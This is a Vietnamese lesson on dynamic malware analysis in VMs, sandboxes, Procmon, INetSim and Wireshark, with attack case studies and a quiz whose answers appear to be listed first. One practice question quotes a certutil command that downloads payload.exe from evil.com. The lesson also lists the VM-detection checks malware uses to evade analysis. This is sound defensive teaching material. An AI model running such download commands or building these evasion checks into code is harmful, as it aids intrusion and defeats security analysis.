Bài 2: Phân tích Malware trong Máy ảo & Dynamic Analysis

Môi trường Phân tích Malware

Trước khi “mổ xẻ” malware, câu hỏi đầu tiên luôn là: chạy nó ở đâu cho an toàn? Câu trả lời không đơn giản — mỗi lựa chọn đều có đánh đổi.

Khái niệm & lý thuyết

  • Dynamic Analysis: Chạy malware có chủ đích trong môi trường kiểm soát, quan sát hành vi thực tế (file tạo ra, registry thay đổi, network call…)
  • Static Analysis: Phân tích mà không chạy — đọc code, strings, PE header. Hạn chế khi gặp obfuscation hoặc packing
  • Air-gapped machine: Máy vật lý hoàn toàn cô lập, không kết nối mạng
  • Snapshot: Trạng thái VM được lưu lại tại một thời điểm — có thể revert về sau khi malware đã chạy
  • VM Escape: Trường hợp cực hiếm malware thoát khỏi VM, lây sang host

So sánh môi trường

Tiêu chíReal Machine (Air-gap)Virtual Machine
Malware phát hiệnKhó hơnDễ phát hiện hơn
Khôi phục sau nhiễmPhải re-imageRevert snapshot (giây lát)
Kết nối mạngKhông có → malware có thể không hoạt động đủCó thể giả lập
Chi phí/tốc độChậm, tốn kémNhanh, linh hoạt
Rủi ro lây hostThấpRất thấp (trừ VM escape)

Cách hoạt động / Luồng xử lý

timeline title Vòng đời một phiên phân tích Dynamic section Chuẩn bị Tạo snapshot sạch : Cài tools (Procmon, ProcExp...) : Cấu hình network (host-only / INetSim) section Phân tích Chạy malware : Quan sát Process Explorer : Procmon ghi log : Wireshark capture traffic section Kết thúc Ghi nhận kết quả : Revert về snapshot : Phân tích log, pcap
graph LR A[VM Network Modes] --> B[Disconnected\nAn toàn nhất\nMalware không call home được] A --> C[Host-only\nVM ↔ Host\nKhông Internet] A --> D[NAT\nVM ↔ Internet\nQua virtual router] A --> E[Bridged\nVM trực tiếp vào LAN\n⚠️ Nguy hiểm nhất] style B fill:#90EE90 style C fill:#90EE90 style D fill:#FFD700 style E fill:#FF6B6B

Cách malware phát hiện VM

Malware ngày càng tinh vi — nhiều mẫu tự tắt hoặc hành xử khác khi biết đang trong VM:

Kỹ thuật kiểm traChi tiết
Registry CheckTìm key liên quan VMware: HKLM\SYSTEM\...\DriverDesc = “VMware SCSI Controller”
Process CheckTìm process VMwareService.exe, VMwareTray.exe đang chạy
MAC Address CheckMAC bắt đầu bằng 00-05-69, 00-0c-29, 00-1c-14, 00-50-56 → VMware
BIOS SerialString “VMware” trong BIOS serial number

Ví dụ thực tế & Analogy

Ví dụ thực tế: Slide 2 của bài giảng dẫn câu chuyện trên VietPhD.org — một người dùng cài crack trên máy lab, malware rò IP, công ty nước ngoài đòi 354.000 EUR. Đây là hậu quả điển hình của việc không có môi trường cô lập.

Analogy: VM snapshot giống như tính năng Save Game — bạn có thể thử bất kỳ action nào nguy hiểm, rồi load lại từ điểm save nếu mọi thứ đi sai. Không có snapshot = chơi game mà không save.

Câu hỏi thực tế

  1. Bạn cần phân tích một mẫu ransomware nghi ngờ có tính năng lan truyền qua mạng nội bộ. Bạn sẽ chọn network mode nào cho VM và tại sao?
  2. Một mẫu malware khi chạy trong VM không làm gì cả, nhưng khi chạy trên máy thật thì mã hóa toàn bộ file. Nguyên nhân có thể là gì?
  3. Nếu không có VMware Workstation, bạn có thể dùng công cụ nào thay thế mà vẫn có tính năng snapshot?

💡 Chốt nhanh: VM + Snapshot là combo chuẩn cho dynamic analysis — nhanh, an toàn, có thể lặp lại. Luôn dùng host-only hoặc INetSim thay vì kết nối Internet thật cho malware.


Sandbox & Dynamic Analysis

Khái niệm & lý thuyết

Sandbox là giải pháp “all-in-one” — nạp malware vào, tự động chạy, tự động ghi nhận, xuất báo cáo. Không cần thiết lập môi trường thủ công.

Các sandbox phổ biến: Norman Sandbox, GFI Sandbox, Anubis, Joe Sandbox, ThreatExpert, BitBlaze, Comodo Instant Malware Analysis, Any.run (online).

Tại sao vẫn cần dynamic analysis thủ công nếu đã có sandbox?

Hạn chế của Sandbox

mindmap root((Sandbox\nLimitations)) Thiếu context Chỉ chạy EXE thẳng Không truyền command-line args DLL không invoke đúng exported function Tránh né sandbox Malware phát hiện VM Kiểm tra registry keys đặc biệt Sleep dài trước khi execute Môi trường không khớp OS không đúng version Thiếu registry keys/files đặc thù Giới hạn diễn giải Báo cáo basic functionality Không kết luận được "đây là keylogger mã hóa" Analyst phải tự suy luận

Ví dụ thực tế & Analogy

Ví dụ: SolarWinds SUNBURST sleep 2 tuần trước khi gửi request đến C2. Mọi sandbox thông thường sẽ miss hoàn toàn hành vi này.

Analogy: Sandbox giống như camera an ninh thông minh tự động — xử lý được 80% trường hợp thông thường. Nhưng tên trộm chuyên nghiệp biết lịch của camera. Dynamic analysis thủ công là bảo vệ thật sự ngồi quan sát.

Câu hỏi thực tế

  1. Bạn nhận được một file DLL đáng ngờ. Submit lên Any.run — không thấy hành vi gì bất thường. Bạn có kết luận file này an toàn không? Bước tiếp theo?
  2. Tại sao sandbox đôi khi báo cáo sai khi malware target Windows 7 nhưng sandbox đang chạy Windows XP?

💡 Chốt nhanh: Sandbox là điểm khởi đầu nhanh, không phải điểm kết thúc. Khi sandbox cho kết quả không thuyết phục, dynamic analysis thủ công với Procmon/ProcExp là bước tiếp theo bắt buộc.


Case Study: Malware thực tế

Case 1 — Social Media Account Stealer (.bat file)

Đây là case study thực từ slide, minh họa chuỗi tấn công kinh điển nhắm vào người dùng Việt Nam qua mạng xã hội.

Chuỗi tấn công

sequenceDiagram participant Attacker as Kẻ tấn công participant Victim as Nạn nhân participant GitHub as GitHub/GitLab (C2) participant Chrome as Chrome Browser Attacker->>Victim: Gửi file .rar "Photo-images-Mau-San-Pham_2023.rar" Note over Victim: Mở file → thấy .bat
Windows Defender không phát hiện (lúc đó) Victim->>Victim: Chạy .bat (obfuscated) Victim->>Chrome: start chrome https://aliexpress.us/ (mồi nhử) Victim->>GitHub: PowerShell tải WindowsSecure.bat về Startup GitHub-->>Victim: Persistence established ✓ Victim->>GitHub: Tải Document.zip (Python + script) GitHub-->>Victim: Giải nén → project.py Victim->>Victim: Chạy project.py ngầm Note over Victim: Credentials bị steal Victim->>Chrome: start chrome https://aliexpress.us/ (che đậy)

Kỹ thuật đáng chú ý

Kỹ thuậtMô tảMITRE ATT&CK
ObfuscationBAT file mã hóa để qua AVT1027
Startup PersistenceGhi vào %AppData%\...\Startup\T1547
LOLBASDùng powershell.exe built-inT1059.001
DistractionMở Chrome → aliexpress.us để nạn nhân không nghi-

Case 2 — SolarWinds Supply Chain Attack (APT29/UNC2452)

Một trong những cuộc tấn công supply chain lớn nhất lịch sử.

graph TD A[Kẻ tấn công APT29\nxâm nhập SolarWinds build system] -->|Inject SUNBURST| B[SolarWinds.Orion.Core.\nBusinessLayer.dll] B -->|Ký số hợp lệ bởi SolarWinds| C[Phân phối update\nđến 18,000+ khách hàng] C --> D[SUNBURST active\nSleep 2 tuần] D -->|DGA - Domain Generation| E[Liên lạc C2\navsvmcloud.com] E --> F{Mục tiêu có\ngiá trị cao?} F -->|Có| G[Deploy TEARDROP\n→ Cobalt Strike BEACON] G --> H[Lateral Movement\nbằng credentials khác] F -->|Không| I[Dormant / Uninstall] style A fill:#FF6B6B style C fill:#FFD700 style G fill:#FF6B6B

Kỹ thuật tàng hình nổi bật

Steganography trong HTTP traffic: SUNBURST giấu command trong GUID và HEX strings của XML response — trông như traffic bình thường của .NET assembly.

Anti-forensics: Lateral movement dùng IP addresses tại quốc gia của nạn nhân để tránh alert địa lý. Hostname của attacker match với environment của victim.

Case 3 — PRC Nexus Espionage (UNC6384) — Nhắm vào Nhà ngoại giao

sequenceDiagram participant Target as Nhà ngoại giao (target) participant Browser as Web Browser participant AitM as Adversary-in-the-Middle\n(Edge Device bị compromise) participant AdSite as Attacker Site Target->>Browser: Kết nối Internet bình thường Browser->>AitM: Captive portal check AitM->>Browser: Redirect đến trang độc hại Browser->>AdSite: Load trang "Install Missing Plugins..." AdSite-->>Browser: Download STATICPLUGIN.exe Browser->>Browser: Chạy STATICPLUGIN STATICPLUGIN->>AdSite: Download MSI package (giả BMP file) AdSite-->>STATICPLUGIN: 20250509.bmp (thực ra là MSI) STATICPLUGIN->>STATICPLUGIN: Install → DLL side-loading CANONSTAGER STATICPLUGIN->>STATICPLUGIN: RC4 decrypt cnmplog.dat → SOGU.SEC backdoor

Kỹ thuật API Hashing + TLS (Thread Local Storage)

CANONSTAGER dùng API hashing để giấu Windows API nào đang được gọi, lưu function address vào TLS array — vị trí bất thường mà nhiều security tool bỏ qua.

Indirect Code Execution

CANONSTAGER giấu launcher code trong window procedure, trigger qua Windows message queue — làm rối control flow, tránh detection.


💡 Chốt nhanh từ 3 case studies: Malware hiện đại dùng legitimate tools (PowerShell, signed binaries), persistence qua Startup folder, và kỹ thuật anti-forensics tinh vi. Dynamic analysis phải hiểu được context, không chỉ log events.


Running Malware & LOLBAS

Khái niệm & lý thuyết

LOLBAS (Living Off The Land Binaries, Scripts and Libraries): Dùng các binary có sẵn trong Windows, được Microsoft ký, để thực hiện hành vi độc hại — bypass AV vì đây là file “tin cậy”.

Tiêu chí LOLBAS:

  • Microsoft-signed, native binary
  • Có chức năng “ngoài ý muốn” (unexpected functionality)
  • Hữu ích cho execute code, download file, persistence, UAC bypass, DLL hijacking

Launching DLLs: DLL không chạy trực tiếp được — phải dùng rundll32.exe:

rundll32.exe DLLname, ExportFunctionName [arguments]
# Ví dụ:
rundll32.exe rip.dll, Install
# Hoặc dùng ordinal:
rundll32.exe xyzzy.dll, #5

Một số LOLBAS quan trọng

BinaryKhả năng lạm dụng
certutil.exeDownload file, decode base64
bitsadmin.exeDownload/Upload file qua BITS
rundll32.exeExecute DLL
msbuild.exeCompile và execute C# inline
powershell.exeGần như mọi thứ
wmic.exeExecute process, query system

Câu hỏi thực tế

  1. Bạn thấy trong Procmon một process certutil.exe -urlcache -split -f http://evil.com/payload.exe payload.exe. Đây là kỹ thuật gì?
  2. Malware dùng rundll32.exe shell32.dll, ShellExec_RunDLL để execute. Làm sao bạn phân biệt đây là malicious hay legitimate?

💡 Chốt nhanh: LOLBAS là “sống nhờ đất địch” — kẻ tấn công không cần drop thêm tool, chỉ cần lạm dụng những gì Windows đã có sẵn.


Monitoring Tools

Process Monitor (Procmon)

Procmon giám sát real-time: Registry, File System, Network, Process, Thread activity.

Workflow sử dụng Procmon cho malware analysis

graph TD A[Mở Procmon] --> B[Set filter:\nProcess Name is malware.exe → Include] B --> C[Clear all events\nCtrl+X] C --> D[Chạy malware] D --> E[Quan sát events] E --> F{Phát hiện?\nRegSetValue\nCreateFile\nWriteFile} F -->|Registry| G[Malware install persistence\nvào registry key nào?] F -->|File| H[Malware tạo/ghi file gì?\nConfig? Payload?] F -->|Network| I[Port nào đang listen?\nConnect đến đâu?] F -->|Process| J[Spawn child process?\nProcess injection?]

Filters quan trọng nhất:

  • Process Name is [malware.exe] → Include
  • Operation is RegSetValue → Include (theo dõi persistence)
  • Operation is CreateFile → Include (theo dõi file tạo mới)
  • Mặc định exclude: Procmon.exe, System, IRP_MJ_, FASTIO_

Process Explorer

“Task Manager on steroids” — hiển thị process tree, DLLs loaded, network connections, digital signatures.

Color coding mặc định:

  • 🟦 Xanh dương: User processes
  • 🟪 Hồng: Services
  • 🟩 Xanh lá (tạm thời): Process mới spawn
  • 🟥 Đỏ (tạm thời): Process vừa terminate

Verify button: Kiểm tra digital signature của file trên disk — nhưng không phát hiện được process replacement (malware inject vào process hợp lệ trong RAM).

Phát hiện malicious document: Mở Process Explorer → mở file PDF/Word đáng ngờ → quan sát process mới xuất hiện. Nếu có process lạ spawn → document độc hại.

Regshot

Tool so sánh registry snapshot: Chụp trước khi chạy malware, chụp sau, so sánh diff.

Workflow:
1. [1st Shot] — Chụp trạng thái registry sạch
2. [Chạy malware] — Để malware thực thi đủ thời gian
3. [2nd Shot] — Chụp lại
4. [Compare] — Xuất report: keys thêm/xóa/thay đổi

💡 Chốt nhanh: Procmon = giám sát real-time có filter. Process Explorer = quan sát process tree và DLL. Regshot = so sánh before/after registry. Ba công cụ bổ trợ nhau, dùng song song.


Fake Network với INetSim & Wireshark

Tại sao cần fake network?

Nhiều malware không làm gì cả nếu không kết nối được C2 server. Nhưng không thể cho malware kết nối Internet thật. Giải pháp: giả lập network services ngay trong lab.

Kiến trúc lab với INetSim

graph LR subgraph VM Network [Host-only Virtual Network] W[Windows VM\nIP: 192.168.1.x\nDNS: 192.168.1.100\nMalware chạy ở đây] L[Linux VM\nIP: 192.168.1.100\nINetSim chạy ở đây] end W -->|DNS query bất kỳ| L L -->|Trả về IP 192.168.1.100\ncho mọi domain| W W -->|HTTP GET evil-c2.com| L L -->|Fake HTTP response| W W -->|FTP, SMTP, HTTPS...| L L -->|Fake services| W style W fill:#FFD700 style L fill:#90EE90

INetSim chạy trên Linux, giả lập: DNS, HTTP, HTTPS, FTP, SMTP, IRC, và nhiều protocol khác — trả về fake response cho mọi request.

Wireshark

Capture và phân tích traffic giữa malware VM và INetSim:

  • Follow TCP Stream: Xem toàn bộ conversation của 1 connection
  • Filter http: Xem HTTP requests/responses
  • Có thể save files từ stream (malware download payload → extract từ pcap)

ApateDNS — Cảnh báo

Câu hỏi thực tế

  1. Malware bạn đang phân tích kết nối đến avsvmcloud.com trên port 443. Với INetSim, bạn sẽ thấy gì trong Wireshark? Thông tin gì có thể khai thác?
  2. Bạn muốn biết malware có gửi data gì qua HTTP không. Bạn dùng tính năng nào của Wireshark để đọc payload plaintext?

💡 Chốt nhanh: INetSim + Wireshark = “man-in-the-middle hợp pháp” trong lab của bạn. Mọi network call của malware đều được capture và fake response — malware “nghĩ” đang online nhưng thực ra đang nói chuyện với lab.


Quiz — Malware Analysis in Virtual Machines

Tầng 1 — Ghi nhớ

Câu 1. Dynamic Analysis là gì?

  • Chạy malware có chủ đích trong môi trường kiểm soát và quan sát hành vi
  • Phân tích mã nguồn malware mà không thực thi
  • Đọc PE header và strings của file executable
  • Upload lên VirusTotal để quét

Câu 2. VM Snapshot được dùng để làm gì trong malware analysis?

  • Lưu trạng thái VM sạch trước khi chạy malware, có thể revert về sau
  • Tạo bản backup toàn bộ ổ đĩa để lưu trữ lâu dài
  • Chụp ảnh màn hình VM tại một thời điểm
  • Export VM sang máy khác

Câu 3. MAC address nào sau đây cho thấy máy đang chạy trong VMware?

  • 00-0C-29-XX-XX-XX
  • 00-1A-2B-XX-XX-XX
  • AC-DE-48-XX-XX-XX
  • 00-11-22-XX-XX-XX

Câu 4. LOLBAS là viết tắt của gì?

  • Living Off The Land Binaries, Scripts and Libraries
  • List Of Legacy Binary Attack Suites
  • Local Operating Level Binary Analysis System
  • Low-Level Object-Based Attack Surface

Câu 5. Lệnh nào dùng để chạy một DLL với exported function “Install”?

  • rundll32.exe malware.dll, Install
  • regsvr32.exe malware.dll Install
  • cmd.exe /c malware.dll Install
  • dllhost.exe malware.dll /Install

Câu 6. INetSim chạy trên hệ điều hành nào?

  • Linux
  • Windows
  • macOS
  • Cả Windows và Linux

Câu 7. Procmon theo dõi những loại hoạt động nào?

  • Registry, File system, Network, Process, Thread
  • Chỉ Registry và File system
  • CPU usage, Memory, Disk I/O
  • Network traffic và DNS queries

Câu 8. Regshot so sánh điều gì?

  • Hai snapshot của Windows Registry tại hai thời điểm khác nhau
  • Hai phiên bản của cùng một file malware
  • Registry của máy nhiễm với máy sạch chuẩn
  • Process list trước và sau khi chạy malware

Tầng 2 — Hiểu & Phân tích

Câu 9. Tại sao sandbox có thể bỏ sót hành vi của SUNBURST (SolarWinds)?

  • SUNBURST sleep 2 tuần trước khi hoạt động — sandbox không chờ đủ lâu
  • SUNBURST chạy ở kernel mode mà sandbox không monitor được
  • SUNBURST chỉ hoạt động trên máy vật lý, không chạy trong VM
  • SUNBURST mã hóa toàn bộ traffic nên sandbox không đọc được

Câu 10. Trong Process Explorer, màu đỏ (tạm thời) của một process có nghĩa gì?

  • Process vừa terminate
  • Process đang dùng CPU cao
  • Process được phát hiện là malicious
  • Process không có digital signature

Câu 11. So với Bridged networking, Host-only networking an toàn hơn vì:

  • VM chỉ giao tiếp với host, không thể reach LAN thật hoặc Internet
  • VM bị giới hạn tốc độ mạng
  • VM không thể giao tiếp với host
  • Wireshark không capture được traffic Host-only

Câu 12. Tại sao “Verify” trong Process Explorer không phát hiện được process replacement (process hollowing)?

  • Verify kiểm tra file trên disk, không kiểm tra memory image của process đang chạy
  • Verify chỉ hoạt động với Microsoft binaries
  • Process replacement không thay đổi digital signature
  • Verify chỉ check hash, không check signature

Câu 13. Kẻ tấn công trong case SolarWinds dùng IP tại quốc gia của nạn nhân. Kỹ thuật này nhằm mục đích gì?

  • Tránh alert địa lý — traffic từ IP “nội địa” ít bị flag hơn
  • Tăng tốc độ kết nối đến C2
  • Bypass tường lửa của SolarWinds
  • Mã hóa traffic bằng geo-based key

Tầng 3 — Vận dụng

Câu 14. Bạn đang phân tích một file .bat đáng ngờ. Trong Any.run, bạn thấy process tree: cmd.exe → powershell.exe -windowstyle hidden -EncodedCommand [base64]. Bước tiếp theo hợp lý nhất là gì?

  • Decode base64 string để xem actual command; kiểm tra URL/domain trong output
  • Kết luận ngay đây là malware vì dùng hidden window
  • Submit lên thêm nhiều AV engine để confirm
  • Revert VM và không phân tích thêm vì quá nguy hiểm

Câu 15. Lab của bạn: Windows VM (malware) + Linux VM (INetSim), cùng host-only network. Malware chạy xong nhưng Wireshark không capture bất kỳ traffic nào. Nguyên nhân nào có thể xảy ra?

  • DNS server trên Windows VM chưa được set về IP của Linux VM (INetSim)
  • Wireshark cần chạy với quyền Administrator mới capture được
  • INetSim chỉ fake HTTP, không fake DNS
  • Malware đã phát hiện Wireshark và không gửi traffic

Câu 16. Bạn nhận được một DLL từ incident response. Muốn xem nó làm gì khi được load. Bạn sẽ làm gì theo đúng thứ tự?

  • (1) Xem exported functions bằng PE Explorer/Dependency Walker → (2) Chạy rundll32.exe malware.dll, [ExportName] trong VM → (3) Monitor với Procmon/ProcExp
  • (1) Đổi đuôi .dll thành .exe → (2) Double-click chạy → (3) Xem kết quả
  • (1) Upload lên VirusTotal → (2) Nếu clean thì an toàn → (3) Không cần phân tích thêm
  • (1) Decompile bằng IDA Pro → (2) Đọc assembly → (3) Kết luận từ static analysis